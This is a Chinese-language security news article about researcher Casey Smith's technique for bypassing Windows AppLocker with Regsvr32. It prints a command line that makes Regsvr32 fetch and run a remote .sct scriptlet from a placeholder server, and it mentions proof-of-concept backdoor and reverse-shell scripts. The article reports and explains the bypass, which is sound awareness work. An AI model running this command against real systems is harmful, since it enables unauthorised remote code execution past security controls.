AppLocker是Windows 7和Windows Server 2008 R2中引入的一項安全功能,旨在幫助管理員們指定哪個用戶或用戶組能夠訪問/運行某一個文件。然而據外媒報道,已經有人找到了利用Windows系統中Regsvr32命令行工具的某個隱藏特性,來繞過Windows AppLocker安全措施并正常注冊動態鏈接庫(DLLs)的方法。
Regsvr32則是一款可被安裝工具(或批處理腳本)使用,以便快速注冊動態鏈接庫的腳本工具。
照理說,微軟既然把這款“中性”而又危險的工具留在系統中,就應該管好它不被管理員之外的人所濫用。但遺憾的是,我們幾乎不可能檢測到這種類型的攻擊。
據安全研究人員Casey Smith所述,當攻擊者在某臺受感染的工作站上立足之后,就可以濫用Regsvr32、通過網絡下載一個COM腳本程序(.sct文件),然后在本地機器上注冊一個DLL。
更糟糕的是,攻擊者甚至無需取得管理員權限。Regsvr32可借助代理和TLS連接、重定向等功能,并且它擁有微軟自家的證書,所以可以執行任何看似正常的背景活動命令。
下面是標準的Regsvr32參數、以及而已命令的對比:
regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname
regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll
Smith還指出,“regsvr32能夠接收的腳本網址沒有很好的記錄,要觸發這一‘旁路’,可以把內置VB和JS元素的代碼塊放進去”。
在進一步的測試中,研究人員還在GitHub上放出了系統管理員能夠下載的“概念驗證腳本”(通過Regsvr32并打開一個后門、或者基于HTTP的反向shell)。
從理論上來說,這種類型的“漏洞”允許攻擊者訪問注冊所有DLL,然后在被感染的計算機上執行惡意代碼,更別說管理員權限了。